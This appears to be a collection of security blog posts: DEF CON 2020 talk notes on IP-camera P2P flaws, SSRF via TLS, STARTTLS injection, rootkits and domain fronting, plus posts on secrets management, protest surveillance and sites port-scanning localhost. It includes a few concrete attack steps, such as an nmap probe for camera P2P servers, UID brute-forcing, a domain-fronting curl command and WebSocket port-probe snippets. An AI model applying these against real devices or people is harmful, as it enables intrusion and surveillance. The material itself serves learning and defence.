• Paul purchased a highly rated IP camera from Amazon and plugged it in, noticing that it could be viewed from his phone before setting up his firewall rules. Initial analysis: wireshark shows communications to 3 different servers across the globe, and the video feed sometimes going to other states.
• How was it bypassing his network? Using Peer to peer. Most cameras use third party P2P libraries.
• By design, P2P is meant to be exposed to internet, and can't be turned off on most devices. It does this by sending UDP packets through the NAT to the P2P server. The firewall will allow returning traffic by design. Other clients can use the same technique to open their own firewall. When the server returns the device IP/port, the same technique can be used to create direct communication (UDP hole punching).
• Manufactures leverage some devices as relays (common in P2P as super nodes), which can't be opted out of.
• For more fun, you can get direct access to any device if you have UID (which is guessable), and generally run ARM based BusyBox with every service as root.
• P2P servers are the gateway to the clients to orchestrate connections. Manufactures keep dedicated servers for their own devices - usually listening on UDP port 32100.
• Most users connect via a device unique ID (UID), which is all that's needed to connect. Written to NVRAM during manufacturing, so unchangeable. UID has three parts - prefix-serial-checkCode
• Wireshark P2P dissector released to help look at the traffic (protocol details in talk)
• Find P2P servers by scanning cloud providers with NMAP UDP probes. Add udp 32100 "\xf1\x00\x00\x00" to /usr/share/nmap/payloads and scan with nmap -n -sn -PU32100 --open -iL ranges.txt will run the scan.
• Prefixes can be brute forced - P2P servers will respond with errors for invalid prefixes. He found about 488 distinct prefixes. Serial numbers are just sequential numbers. Check code is a modified Md5 (via finding iLnkP2P library).
• Most devices use default password, so UID is enough to access.
• Found buffer overflow without any overflow protections enabled, allows RCE to root shell.
• Interestingly, using that shell to get the MAC address and then giving the MAC to google geo location gives very accurate lat/long results.
• MitM also possible - with UID, forge login message to P2P service to have traffic routed to you instead of real device. Majority of IoT traffic not encrypted, log message 'encrypted' with Base64...
• Even easier MitM is to get a camera that becomes a super node in the P2P network... UID's leaked, and not detectable to users.
• Some of these things are being fixed by vendors, or have released patches, but it's unlikely users will patch.

Online ads as recon and surveillance tool

This is a live talk in the crypto and privacy village.

Niel explores the possibility of using ad networks to harvest information about specific known targets.

• Previous research could use ads to tell if someone is blue team (with limitations) - for instance take out ads against specific hashes found in malware, then see who makes the search
• Trying to detect if it is possible to setup ads so it targets a specific individual, and if so, is it practical to do so.
• Scenario: Blue team user with Nexus 6 android and windows 10 VM, google/chrome user. Doesn't clear cookies. Attacker has a domain name, blog, business for advertising, and some accounts and VM's.
• Attacker puts some very specific search terms into a blog post (in this case, a bitcoin address, trojan string, with some other terms like not petya)
• Attacker wants to detect user search for specific terms - design ad with select low volume terms (but above the minimum threshold activity). Then narrow via demographics, but again not too narrow
• Eventually ad will show - if shown attacker gets full text of query that triggered the ad.
• This is not all that viable - not able to do very low volume terms, ads don't reliably display when you want, potential to have higher cost.
• Facebook allows much more detailed audience targetting, along with logical operands (AND/OR/XOR) - target interests, user data like life events, food/drink types, hobbies, etc. Behaviors most invasive - online + offline data, OS's, purchase behavior, travel, multicultural affinities, expat, draws on data collected from user devices, location. When combined can target very specific audiences.
• Using include/exclude rules with location, you can target for instance everyone who has recently been in the US capital building.
• With facebook - it didn't trigger for the intended target, but did trigger for other users.
• Not fully proven, but seems that it is possible to gather information about a specific person by using multiple methods like re-targeting, and highly specific targeting.
• Defensive measures: Use opsec on search engines, be wary of data shared from devices (location on Android), etc.

Hackium Browser

I joined this talk by Jarrod Overson a little late (video). This is an incredibly interesting tool that looks like it can significantly help with JavaScript de-obfuscation, reverse engineering, and automatic manipulation of sites.

• Hackium (and related tools) help you to better understand how sites are using JS and the business logic built in. It's a Nodejs library - can be installed with npm install -g hackium
• hackium exposes a repl. It's based on Puppeteer, so any commands for Puppeteer or hackium work within it. REPL history is stored in .repl_history so it can be shared with others. This enables some nice ability to share cool manipulations of sites that goes beyond standard dev tool / proxy modifications. You can also use hackium init to create a shareable config file.
• Designed so that supposedly human events (mouse, keyboard) are built to look human - mistakes, proper mouse movement, variable timings between key presses.
• Can wire in captcha solving services like 2captcha to auto-solve captchas that may block the tool.
• Interceptors: templates to format JS or shift-refactor (transform nodes of a JavaScript syntax tree) - can be used to make JS more readable or dynamically change how the page works at load.
• A cool demo that shows how to de-obfuscate JS by dynamically replacing the obfuscated code using shift-refactor.
• A cool demo to find and expose internal JS functions on twitters page that allows

Differential Privacy

A talk by Miguel Guevara and Bryan Gipson about how to leverage and share useful data without compromising privacy.

• Google has made their differential privacy library open source (speakers are from Google)
• Core problem: how do we publish data in a way that preserves specific users privacy?
• Removing PII is not enough - publishing de-identified records could be reconstructed by combining with other data sources.
• Aggregation or k-anonymity (at least k users in a given data set), but this may not be enough if stats change over time in ways that expose information, such as a single user moving from or to an aggregation bucket. This could also be a problem if the bucket is sensitive (like a medical condition). Published data may be subject to differencing attacks, knowing someone is part of a bucket may be a problem, people could be exposed if known bad data is injected - like 100 users in a bucket with 99 fake users.
• If we aggregate, but inject some randomness into each aggregate value - this is the differential privacy idea. Maintain statistical significance, without above risks.
• Practical aspects they take into account: a person can only be counted once in each metric, to avoid specific patterns (person A went to the grocery store 100 times today). Remove noisy metrics.
• Built a differential privacy sql engine, allowing querying a data set while maintaining privacy by applying per user transformations that affect joins and aggregations.

Friday August 7th

When TLS Hacks You

Video

An interesting expansion on SSRF that enables new techniques for weaponizing SSRF when it doesn't appear exploitable, leveraging TLS fields containing payloads. Talk by Joshua Maddux.

• Initial demo is interesting - localhost running memcache and making a simple Curl request adds an attacker controlled cache entry.
• Turns out we can smuggle some data in the TLS handshake packets - SessionID (32b) and Session Tickets (65kb). These are saved between sessions to the same domain name (regardless of IP address).
• Full attack: setup site that crafts handshake with the payload in one of the fields above, and DNS that flips between actual site and localhost:port of vulnerable service, like memcache. SSRF the app to have it create a TLS connection to vulnerable site. Now, the server has cached the session information for attackerSite, but the next SSRF request has the DNS resolve to localhost.
• Payload will be sent with the client HELO to the localhost service as a result. Payload can include arbitrary characters like new lines, including memcached commands, de-serialization attacks, etc.
• Vulnerable sites: Those that have SSRF (which may have previously been unexploitable, such as with webhooks) which support TLS connections, and run services on local ports which accept unauthenticated TCP connections from localhost.
• Services verified susceptible: memcached, hazelcast, SMTP, FTP, some DB's (maybe), syslog.
• Demo of this technique using a phishing email + img tag on a page to get RCE on developer laptop running a local Django app with memcached. Nice!
• Defensive take away: proxy outbound requests from your infra, and don't run unauthenticated TCP software

Finding & Exploiting bugs in Multiplayer Game Engines

Video

I sometimes build small games in my spare time for fun (most recently, a VR mermaid adventure for my daughter) so I find this topic interesting. I no longer have time to devote to most multiplayer style games, but I used to enjoy them. This talk by Jack Baker is mostly specific engine bugs that were discovered and fixed (except for Bug4).

Proof of concepts for each

• Looking at UNET (Unity networking library, deprecated, no alternatives, lots of indy games use it)
• Multiplayer games generally use a distributed architecture with RPC's to communicate, with state replicated in both the client and server. Most games use UDP (websocket for browser games), so protocol has to deal with auth & order issues.
• Bug1: UE4 uses specialized "URL"s to communicate, which sometimes include file names, allowing LFI, including remote SMB (fixed in UE4.25.2)
• Bug2: UNET / Unity, memory disclosure by sending a packet with a length field > data sent - UNET will read in other memory, which works similar to Heartbleed (chat messages can leak memory data back to us via this method). Fixed in 1.0.6
• Bug3: UE4 universal speed hack. UE4 checks tiemstamp sent for movement against last known valid timestamp seen from player. These values are floating points, which given certain operations can become NaN (Not a Number): NaN poisioning. Since operations are via RPC, we can include NaN as our argument for timestamp, the checking function computes the timestamp as valid. The NaN value propogates after a few requests until the server can no longer determine whether the client is modifying the time, allowing move speed changes. Interesting!
• Bug4: UNET session hijacking. Packets aren't validated by source IP - only by values within the packet: hostID, SessionID, and packetID. HostID's are assigned sequentially. Session ID's randomly generated at connection (16 bit) - brute forcable. PacketID is also 16 bits, incremented with each packet. This can lead to discarding the packet, accepting it (correct guess), or disconnecting the session (too high) - kick other players. Not fixed, and unlikely to fix in the future - architectural issue. Can be limited with encryption, but not commonly used.

Detecting Fake 4G Base Stations in Real Time

Video

I recently wrote about government surveillance of protests, including the use of sting rays (fake cell towers) to track protestors.

This talk by Cooper Quintin focuses on detecting devices that spoof a 4G tower.

• As I wrote previously, StingRay devices generally depend on older 2G network protocols to work. For 4G surveillance (HailStorm), EFF looked at changes in the standard: mutual authentication, better encryption, and in 4G the device no longer naively connects to strongest tower. (These are what make it difficult to spoof for surveillance)
• Vulnerabilities in 4G leveraged: pre-auth handshake attacks and downgrade attacks - initial setup methods are implicitly trusted. Recommend Gotta Catch em All ISMI paper by EFF for details.
• The initial (before the auth handshake occurs) 4G connection requests include some sensitive information such as IMSI, sometimes GPS coords, and ability to attempt to downgrade the connection to 2G.
• Data on how often these devices are used - ACLU published FOI request data showing hundreds or thousands of uses per year by both ICE/DHS and local law enforcement.
• Evidence that foreign spies (deployed around DC / whitehouse), criminals (drug cartels), and cyber mercenaries (NSO group) leverage these technologies.
• Current detection methods: apps (many false positives). Custom hardware based on radio (expensive, requires setup).
• Real life testing looking for cell simulators at Standing Rock found no 2G, assumed that all uses must be 4G.
• Releasing Crocodile Hunter software stack - runs on a laptop or Pi with SDR & LTE antennas.

STARTTLS is Dangerous

This is a live crypto village talk. Video bookmark to stream.

• STARTTLS most commonly used with email clients and servers - all Email protocols support it. Web uses implicit TLS generally.
• If a client supports downgrading to plain text if STARTLS is not supported, then an active attacker can just claim that it isn't supported, and the client will connect anyway.
• IMAP alerts can be sent at any time (including during the plain text pre TLS communication), and the client will show it as coming from the server.
• Buffering bugs (CVE in 2011, but attacks not published at the time): If client sends multiple plain text packets prior to the handshake, most servers will process the plain text packets in the TLS session.
• If attacker (MitM for SMTP) sends a plain text with injected Auth, Mail, and Data - server will then go through the auth with the client, and the client can be forced to send credentials to the attacker.
• Similar attack with IMAP, but requires exact size ahead of time (so need to guess size of password), but attacker may be able to get multiple tries.
• Bug discovered in 2011, but still prevalent in 1.5% of SMTP servers, 2.6% of POP3 servers, 2.4% IMAP.
• We can trigger the same type of bug on the client by sending the client plain text appended to the STARTTLS and the client will think it is part of the TLS session (called Response Injection). Not very severe, but could be used to spoof mailbox content.
• More than half of mail clients tested were vulnerable!
• Other issues too - IMAP server can start session in PREAUTH, meaning no auth is required, and STARTTLS says it cannot be used in authenticated state - so clients may need to disconnect. If attacker also does a mailbox referral to an attacker controlled server, this could send credentials to attacker. Only 1 client (Alpine) was vulnerable to this, because most clients don't support referral.

Android Bug Foraging

This is a live session, recording here.

The talk covers several android standard application vulnerabilities, including some interesting ones!

• Process: List exported activities (reachable by other apps) and broadcast receivers, reverse the APK, and test the behavior and actions
• Map out classes that handle specific intents / actions, and see if we can pass data into those that can modify the code execution path.
• Google Camera vulns: Take photo without user action, even if smartphone is locked. Rogue app could invoke those capabilities without the normal camera permissions. POC app called spyxel that mutes volume, takes photos from camera, proximity sensor, GPS history, list/download SD files, auto record calls (fixed by Google).
• Samsung find my mobile vulns: loads /sdcard/fmm.prop file, which a malicious app can create and pass it a malicious URL. There are also broadcast recievers not protected by any permission, which will load the specified file. Several vulns combined of this nature allow user monitoring, erase data, retrieve call/sms logs, etc.

A Lesson in Privacy Engineering

This is a live talk

This talk covers privacy risks with the Norwegian Covid tracking applications that didn't do a great job protecting user privacy.

• Centralized solutions can lead to abuse - future nefarious use of the saved data, mining the data for other purposes than stated.
• Privacy first contact tracing could have been used: Alices phone broadcast a message every few minutes (new) - bob receives the messages of every person he is near (including alice) -> alice gets covid, then uploads the list of messages and time stamps -> Bob can download the list and check his own contact history over it.
• Problems with this implementation: data could be modified before uploading data to central server, required a phone number to use the app.
• Expert group pulled in to publish open report on privacy (with full access to source) 5 days of analysis, preliminary report showed no deletion or anonymization implementations left, scalability issues, permanent device specific identifiers stored, lack of data validation.... plenty of issues found.

Thursday August 6th

Discovering Hidden Properties to Attack the Node js Ecosystem

Video of talk

As a sometimes user of Node.js for a variety of things, I wasn't aware of this specific vulnerbility in JS. Feng Xiao clearly shows some interesting attacks.

• Attack vector: De-serialization from querystrings or objects. When a function expects a json object and assigns values improperly, attackers can inject key/value pairs to overwrite internal variables, including object protoypes (such as a constructor). Properties are generally considered trusted by developers.
• Code may be vulnerable when using functions like Object.assign to assign all input values to an object or other merging functions.
• This is similar to Mass Assignment risks in Ruby or Object injection in PHP.
• Found 13 0Days, in a variety of libraries: SQL Injection, ID forging, input validation bypass, etc.). Five of the libraries have more than 1M monthly downloads, including MongoDB & mongoose.
• Nodejs vulnerabilities impact both node web apps, and desktop electron apps.
• Some cool examples of web framework login bypass & sqlinjection using this technique.
• Lynx open source tool developed to identify and generate exploits for hidden properties.

DNSSEC walks

video

This was a good talk by Hadrien Barral & Rémi Géraud-Stewart. I always like to learn new ways to enumerate DNS entries. Emails are an interesting use case.

• Cloud providers often implement email redirection for clients by including a DNS TXT record, which can be queried to find the 'true' private email of the user. Tools can check DNS records for common emails or emails harvested from sites: dig TXT ${email} +noall +answer
• DNSSEC offers cert chain of trust, which can be queried using dnsviz. Tool also shows DNS errors which can be interesting (including defcon.org!)

• Issue with DNSSEC: negative responses, since you can't authenticate for every non-existent subdomain. NSEC can be used to sign records where no domain exist, and this is done by signing intervals for which no domain exists. For example, there is no domain between apple.example.com and carrot.example.com, then we know that bad.example.com does not exist.
• Using this knowledge, we can use it to enumerate hidden records for zones that use NSEC. Run a query for a random name such as fgfrd.example.com, response: nothing between carrot.example.com and good.example.com. Now we can repeat with gooda.example.com and loop to enumerate. However, NSEC is no longer used...
• NSEC3 created to prevent this issue using hashed values. We can use the same technique to dump all the hashes of real records (giving a count of all records and commonly SHA1 hashes of all valid records).
• hashcat was able to break them (on a single high end GPU) for 88% of 16,000 records. 75% resolved to interesting email redirection, 13% something else.
• Stats: Most web owners used gmail, and about 50% of those users included name in the email. 66% of those did not show their email on the website, and 45% of those emails did not appear in a Google search - so some private emails harvested.
• Fix: Configure NSEC3 with ECDSA signing

Demystifying Modern Windows Rootkits

Video

I really liked this talk - Bill Demirkapi explains rootkits and windows internals really well. I don't have much background with Windows internals or rootkits, so I learned a lot!

• Kernel drivers have significant privileges, given high trust by anti-virus, and are easier to hide than other forms of malware.
• Loading a rootkit: abuse legitmate drivers - lot's of known 'vulnerable' drivers (which require admin privileges): Capcom anti-cheat, intel NAL. Downside of method: poor compatibility across browser versions & general instability of system as a result.
• Loading a rootkit: buy a cert! OK for targeted attacks, but can reveal your identity or have the cert blacklisted.
• Loading a rootkit: abuse a leaked certificate - most of the benefits of a legit one (and can often be found on game hacking forums), but newer certs can't be used on secureboot machines with Win10. (Kernel doesn't usually care if certs are revoked or expired).
• Finding certs - a greyhat warfare s3 search for pfx or p12 extensions found 6k+ certs.
• rootkit network communications: C2 server, direct port connection, hook into specific application communicaion channel.
• Instead of directly hooking into a specific application, this technique instead hooks the entire host network (like wireshark) and monitors all packets for a malicious magic constant from the C2 server. C2 server can then send data on any valid port.
• Hooking into the network user space events: create custom device and driver object to hook into File objects. A lot of really interesting windows internal specifics are discussed in the talk.
• Spectre rootkit created to demonstrate this method.

Hacking the Supply Chain

Video

This video is specifically about maximizing vulnerability value by focusing research efforts on lesser known components that are generic and supplied to many end products. In this case, Treck TCP/IP stack, which is used in hundreds of millions of embedded devices.

• Due to nature of the end product (IoT, embedded device, medical device), vulnerabilities are unlikely to be patched. End users won't have good visiblity to vulnerability source (Treck), and some products with the vulnerability are no longer supported.
• total 19 vulnerabilities found in Treck, including 4 RCE.
• Based on DNS resolver, which can traverse NAT boundaries.
• Treck DNS resolver has a function that calculates size, then allocates a buffer. However the size function misses a few critical checks - does not validate valid characters in domain names, does not enforce max character limit on domain name per RFC of 255 characters. It uses an unsigned short int while calculating a given record length (64k). I know where this is headed now :)
• Max DNS packet size is 1460 bytes, but can use embedded compression to increase that beyond the integer max (72k).
• This can be used for RCE on all DNS query types by including the specially crafted name in a CNAME record.
• Device they tested (a UPS) has no ASLR or DEP, highly similar to x86 architecture.

Long live Domain Fronting (on TLS 1.3)

video

Privacy is one of my core concerns, so I am always interested in ways to enhance it. This talk discusses how to use Domain Fronting with TLS 1.3 to bypass network controls and censorship, when the technique has been mostly halted with previous techniques.

The demo by Erik Hunstad is impressive, with interesting tools that demonstrate a setup that bypasses network filters and censorship.

• Domain fronting: Avoid network defenses or censorship by connecting to an innocuous domain while hiding the true destination (that may be banned or suspicious). Big restriction: fronted domain and fronting domain must be on the same service (CDN usually)
• Domain fronting primer: request to HostA with Host header pointing to HostB: curl -s -H "Host: hidden.domain.com" -H "Connection: close" "https://fronteddomain.com/resource_on_hidden.domain.com"
• This worked great until 2018, when the Russian government put pressure on cloud environments to stop it to stop use of Telegram messenger app. AWS, Google and CloudFlare stopped it. Azure still allows it at the moment.
• TLS 1.3 method: TLS 1.3 connection with ESNI sent to any cloudflare server. HTTP request is sent using that connection with any host header. SNI can be included as well, doesn't have to match ESNI. Cloudflare will forward to the true destination, as long as it has DNS Provided by CloudFlare.

TLS 1.3
GET /HTTP/1.1
Host: hackthis.computer
-----------------------------> Any cloudflare IP ---> hackthis.computer
ENSI: hackthis.computer
SNI: can-be-anything.com

• Noctilucent  project Go crypto/tls rewrite which demonstrates domain hiding, with plenty of options.
• Currently 21% of top 100k sites available for this on cloudflare.
• Most traffic filtering is done on the SNI field, which this technique easily defeats.
• What about HTTPS decrypting firewalls with root certs? Test firewall with TLS 1.3 decryption, setup with no exemptions. However, some exemptions are built in due to things like cert pinning on major sites - fronting with mozilla.org bypasses firewall, but does show up in logs.
• What if it's setup with websockets? Creates only a single connection but also bypasses firewall controls (using Cloak project to leverage websocket tunneling)
• Blue team defenses: block or flag ClientHello packets that contain both server_name and encrypted_server_name or see if there are strange traffic patterns to specific sites.

One thing that comes up frequently in security is how to deal with application secrets. There are many methods for managing secrets, from hard coding into source code to using a credential manager to environment variables.

In this post, I'll go through some Do's and Don'ts for managing secrets securely, both for web services and for client applications like mobile apps that need embedded API keys.

The Best Practices for Managing Secrets

If you just want to go straight to the most secure practices, here they are.

• Don't store any secrets on client applications or devices. If you need something like an auth token for a service, generate one token per user or device, and treat it as you would a user password.
• Use a secret manager like Hashicorp Vault, AWS Secrets Manager or other platform specific credential management technology like kubernetes secrets. Store all secrets here: API keys, service passwords, secret keys, etc.
• Vault access should use a management system (IAM for AWS or the platform equivalent). If IAM solutions aren't available, use a CI/CD system to encrypt the vault credentials and inject them at deployment. The credentials themselves can be stored in the Vault and rotated by the vault admins.
• Create separate sets of credentials for production at a minimum, ideally for each environment.

This does requires running a separate piece of infrastructure (the vault), generally means more complex code has to be written to retrieve secrets, along with all the various failure modes that might be encountered, and ties your application more closely to the hosting solution. Not all organizations or teams are willing to do everything here.

Slightly Less Secure, but Still Pretty Good, Secret Management.

For some systems, the overhead of maintaining a vault is too great. you can get most of the way there by managing credentials in a CI/CD pipeline and injecting them into the deployment environment. You can do this a few ways - by having a build step that injects encrypted credentials into a file (preferred), or directly setting environment variables on deploy (only if a file won't work for some reason, to avoid accidental disclosure of environment variables from things like phpinfo).

Alternately, if not using a CI/CD platform, have the production support team deploy environment variables or update credential files manually on production systems. Ensure that separate passwords are used in each environment.

Don't Do These Things

Here's a handy list of things to avoid doing where possible.

• Don't store credentials in your source code management system, like github, even if internal or private. It's hard to remove them from the history and too easy to leak.
• Don't use the same set of credentials or API keys in production and other environments. Keep production credentials limited to a very small set of owners.
• Don't give everyone read access to a credential store. Instead, use granular control, so users can only see credentials they reasonably need.
• Don't put secrets in client applications. Every secret on a client can (and likely eventually will) be found and made public. This includes encryption keys, API keys, database credentials, and anything else that you wouldn't want users having access to.
  
  Client applications include front end JavaScript on a web page, downloadable binaries, and mobile applications.
• Don't share credentials between different production systems (have separate API keys, passwords, user accounts, etc. for every application)

Conclusions

Managing secrets is hard, which is why searching for "credential leaks" finds multiple recent news stories of data breaches, ransoms, and other problems from mismanaging credentials.

Though it can be involved to get to the best practices, every step in that direction helps!

Governments around the world continue to ramp up surveillance of protests and civil unrest. Here, I have tried to collect the governmental use of technologies to monitor and disrupt movements in repressive and democratic countries alike.

Modern anti-protester tactics include many things: cell phone monitoring, communications disruptions, social media blocking, social media monitoring, and using cellular records to identify, arrest, and intimidate organizers.

With protests ongoing in the US and globally, I wanted to share tactics that I have been informed of or observed, as well as some counter tactics that protesters can adopt to attempt to limit government surveillance and interference.

Use your best judgement when considering tactics and counter measures. Be safe out there, and keep fighting for your rights and freedoms!

Stingray Cellphone Monitoring & Disruption

A stringray is a device that mimics a cell tower, and can be used to disrupt cellular service, track phone locations, monitor communications (listen in to phone calls), and retrieve unique phone identifiers (IMEI) from devices.

Stingrays should be considered very dangerous to any protest movement as they can identify all cellphones in an area, along with nearly exact locations of each individual over time (by asking the device for a list of towers and strengths, a user can be fully triangulated).

These can be mounted on a flying drone or a police car, and have been in confirmed use in the US since 2006.

Countermeasures: Unfortunately, stingrays are not easy to overcome without also disabling your phone. Here are a few things you can do, in rough order of simplicity and effectiveness:

• Put your phone on airplane mode. Unfortunately, this will render other safety precautions outlined below impossible, so consider carefully.
• Configure your phone to use only the latest network types (4G+), since many stingrays depend on older standards, especially 2G, which may not be possible in all cases(Disabling 2G in Android). On iOS, you may find something in carrier settings, but I don't know of a way to fully disable forced 2G downgrade attacks.
• Use burner phones (using a separate SIM is not enough, as the IMEI will not change, though you could attempt to rotate all identifiers).
• Try downloading anti-stingray apps, but it appears they are unlikely to work.
• Work with locals to setup mesh wifi networks, using apps like bridgefy along with disabling wireless.

Predator Surveillance Drone & Ring Cameras

The Predator is used to surveil large geographic areas. From a 2013 showcase: A "1.8-gigapixel video surveillance platform that can resolve details as small as six inches from an altitude of 20,000 feet (6km)". They use multiple cameras for various forms of imaging and a single drone can monitor an entire city.

A predator was spotted flying over the Minneapolis protests.

In addition, many neighborhoods have Ring camera's installed, which allows police to view video feeds from doorsteps.

The main concern is mass use of video surveillance alongside facial recognition to identify large numbers of protestors. I don't have confirmation, but I think it's likely the drone resolution is still too low for facial recognition on the ground.

Countermeasures: It's unlikely that either of these tools can provide clear enough photos for facial recognition in protest conditions. If possible, wear masks and clothing that help prevent facial recognition. Other forms of identification are also possible, and harder to prevent, such as gait analysis.

Disinformation Campaigns & PsyOps

Not necessarily the local police, but disinformation to discourage gatherings, or to create violent conflict between groups based on false information. This may be as simple as users purposely posting incorrect meeting times and places to divide groups, or as complicated as generating false documents and events to create real news stories.

Interesting examples from the current protest include false claims that Antifa is invading a town (leading to the police notifying the military, leading to an official statement and hundreds of armed counter protestors) and police pushing down an old man, then falsely claiming he had tripped.

Countermeasures: It is generally easy to spot disinformation campaigns when other groups are targeted, but much harder to spot when disinformation aligns well with your world view and knowledge. Try not to fall for disinformation and document the truth to counter it in others.

• Always be vigilant and skeptical of information shared. Try to find source documents instead of third party write ups, edited video, or opinion pieces.
• Document things on the ground. This can be as powerful as photos and video, or as simple as writing down notes with date/time stamps and descriptions.
• Learn how to spot disinformation, and teach those around you.

Social Media Spying

Police have been known to monitor social media - fake profiles / moles and automated social media analysis are regularly used. In 2016, it was heavily reported that police were using automated tools to identify, track, and create dossiers on Ferguson protests. (ACLU research, Brennan Center studies). These were often marketed to police departments as a way to "stay one step ahead of the rioters".

Geofeedia, the company most discussed in these articles, had some access revoked due to this reporting. However there are many companies that operate in this space, so consider this issue ongoing.

Countermeasures: There is likely little to be done. The trade off between getting a particular message out, planning, and anonymity is a difficult one. If possible, consider the following:

• Create social media aliases for political activism unrelated to your real name. Companies like Facebook won't be fooled by this, but tools like geofeedia and moles will be. This works well for individuals who want to follow and attend events anonymously, less so for organizers or message amplifiers.
• Leverage private, encrypted communications systems whenever possible. I recommend signal.

Arrest & Confiscate

Police have been seen arresting and holding individuals overnight without allowing a phone call. Additionally, if arrested while filming, your device may be confiscated or destroyed, and it can take some time to have it returned.

Countermeasures: Ensure that video you take is immediately saved off of your phone, and your device is setup to automatically notify others of your arrest.

• Use the ACLU mobile justice app for your state to record police misconduct. This app claims to immediately upload the video. Facebook livestream and similar services are also a good choice.
• Recent reports of protester arrests allege that they are sometimes held overnight without access to their phone or a call. Plan ahead and use apps like KiteString or Find my Friends to allow others to know if you are arrested.
• This is a good article on securing your phone before a protest.

Conclusions

Surveillance is difficult or impossible to avoid when planning or participating in a protest. The best way to ensure that surveillance is limited is to never build capabilities against citizens in the first place, and to enforce strict controls and punishments against agents and organizations who do so anyway.

Support organizations who fight this fight every day. In the US, this includes the EFF, ACLU and FreedomWorks.

Recently, I was tipped off about certain sites performing localhost port scans against visitors, presumably as part of a user fingerprinting and tracking or bot detection. This didn't sit well with me, so I went about investigating the practice, and it seems many sites are port scanning visitors for dubious reasons.

A Brief Port Scanning Primer

Port Scanning is an adversarial technique frequently used by penetration testers and hackers to scan internet facing machines and determine what applications or services are listening on the network, usually so that specific attacks can be carried out. It's common for security software to detect active port scans and flag it as potential abuse.

Most home routers don't have any open ports, so scanning an internet users IP address is unlikely to return any meaningful data. However, many users run software on their computer that listens on ports for various reasons - online gaming, media sharing, and remote connections are just a few things that consumers might install on a home PC.

A Port scan can give a website information about what software you are running. Many ports have a well defined set of services that use them, so a list of open ports gives a pretty good view of running applications. For instance, Steam (a gaming store and platform) is known to run on port 27036, so a scanner seeing that port open could have reasonable confidence that the user also had steam open while visiting the web site.

Watching Ebay Port Scan My Computer

In the past I have worked on security products that specifically worried about port scanning from employee web browsers. Attack frameworks like BeEF include port scanning features, which can be used to compromise user machines or other network devices. So, I wanted to be able to alert on any port scanning on machines as a potential compromise, and a site scanning localhost might trip those alerts.

On the other hand, it's been reported on a few times in the past as banks sometimes port scan visitors, and I have heard Threat Matrix offers this as a customer malware detection check.

I was given the example of ebay as a site that includes port scanning, but when I initially navigated there I didn't see any suspicious behavior. I thought they might use some heuristics to determine who to scan, so tried a few different browsers and spoofed settings, without any luck.

I thought it might be because I run Linux, so I created a new Windows VM and sure enough, I saw the port scan occurring in the browser tools from the ebay home page:

Looking at the list of ports they are scanning, they are looking for VNC services being run on the host, which is the same thing that was reported for bank sites. I marked out the ports and what they are known for (with a few blanks for ones I am unfamiliar with):

• 5900: VNC
• 5901: VNC port 2
• 5902: VNC port 3
• 5903: VNC port 4
• 5279:
• 3389: Windows remote desktop / RDP
• 5931: Ammy Admin remote desktop
• 5939:  
• 5944:
• 5950: WinVNC  
• 6039: X window system
• 6040: X window system
• 63333: TrippLite power alert UPS
• 7070: RealAudio

VNC is sometimes run as part of bot nets or viruses as a way to remotely log into a users computer. There are several malware services that leverage VNC for these purposes. However it is also a valid tool used by administrators for remote access to machines, or by some end user support software, so the presence of VNC is a poor indicator of malware.

Furthermore, when I installed and ran a VNC server, I didn't detect any difference in site behavior - so why is it looking for it?

How Port Scanning with WebSockets Works

WebSockets are intended to allow a site to create bi-directional communication like traditional network sockets. This allows sites to periodically send information to a client browser without user interaction or front end polling, which is a win for usability.

When a web socket is configured, it specifies a destination host and port, which do not have to be the same domain that the script is served from. To do a port scan, the script only has to specify a private IP address (like localhost) and the port it wishes to scan.

WebSockets only speak HTTP though, so unless the host and port being scanned are a web socket server, the connection won't succeed. In order to get around this, we can use connection timing to determine whether the port is open or not. Ports that are open take longer in the browser, because there is a TLS negotiation step.

You also might get different error messages. If you have python installed, try running the following to create a local web server running on port 8080:

python3 -m http.server 8080

Now, open your browser developer console (usually options -> Web Developer -> Console) and type some JavaScript in directly. Here is what I see when I do it in chrome:

> var s = new WebSocket("ws://127.0.0.1:8080")
< undefined
VM1131:1 WebSocket connection to 'ws://127.0.0.1:8080/' failed: Error during WebSocket handshake: Unexpected response code: 200
(anonymous) @ VM1131:1
>var s = new WebSocket("ws://127.0.0.1:8081")
<undefined
VM1168:1 WebSocket connection to 'ws://127.0.0.1:8081/' failed: Error in connection establishment: net::ERR_CONNECTION_REFUSED

Between error message introspection and timing attacks, a site can have a pretty good idea of whether a given port is open.

Port Scanning is Malicious

Whether the port scan is used as part of an infection or part of e-commerce or bank "security checks", it is clearly malicious behavior and may fall on the wrong side of the law.

If you observe this behavior, I encourage you to complain to the institution performing the scans, and install extensions that attempt to block this kind of phenomenon in your browser, generally by preventing these types of scripts from loading in the first place.

Prevent this kind of abuse

When I initially wrote this article, I didn't have any good tools to recommend to block this kind of malicious action by a site. I was recently clued in to Port Authority, a FireFox extension, that looks like a great way to block this and other nasty techniques that remove some agency from the user. Check it out!

I am always learning new things about security, and sometimes mentor junior team members on where they can learn new skills. I find that a successful practitioner is one who not only spends time understanding the security concerns, tools, and skill sets, but also the underlying technologies to be protected as a normal user would.

This may mean spending time understanding the life of a sysadmin for OS protection, programming for securing development, cloud administration, etc.

I am not an expert in all these areas, but I love to broaden my view. Here, I wanted to share the learning resources I find myself returning to when I need a refresher on something, or assets I suggest a colleague leverage to skill up quickly.

Security Books

Penetration Testing by Georgia Weidman. This is great for everyone in the field, pen tester or not, because of how Georgia lays out the tools and processes a pen tester can use, along with common vulnerability findings.

Securing Devops by Julien Vehent. This book took me by surprise with how good it is. The best book I have read for understanding the many facets of real security programs in modern companies - devops, cloud security, log centralization, and more. It's also probably the quickest read on this list.

The Practice of Network Security Monitoring by Richard Bejtlich. I love this book from a defensive perspective, as it teaches all about setting up network monitoring and detecting and reacting to intrustions. I am still working my way through it.

The Art of Software Security Assessment by John McDonald, Mark Down, and Justin Schuh. This book is a beast to get through, but is the seminal text on assessing a piece of software from a security perspective. It is thorough and detailed, walking through proper processes, strategies for tackling an audit, and a huge variety of vulnerabilities and how they present.

Gray Hat Hacking by multiple authors. This is a great second security book, after Penetration Testing, for getting your hands dirtier. I find the examples tend to run a little light on the theory, requiring follow up research and reading, but that's not a bad thing. This book walks through a little of everything: fuzzing and finding 0day's, web app pen testing, running scannings, network attacks, OS attacks, and more.

Open Source Intelligence Techniques by Michael Bazzell. This walks through many ways to find information online. Some of it is basic (google hacking and leveraging search well), and some of it is advanced. The book is focused on individuals, but the concepts can be leveraged to anything. The flip side of this is an excellent guide to privacy. His website is a great resource for both as well.

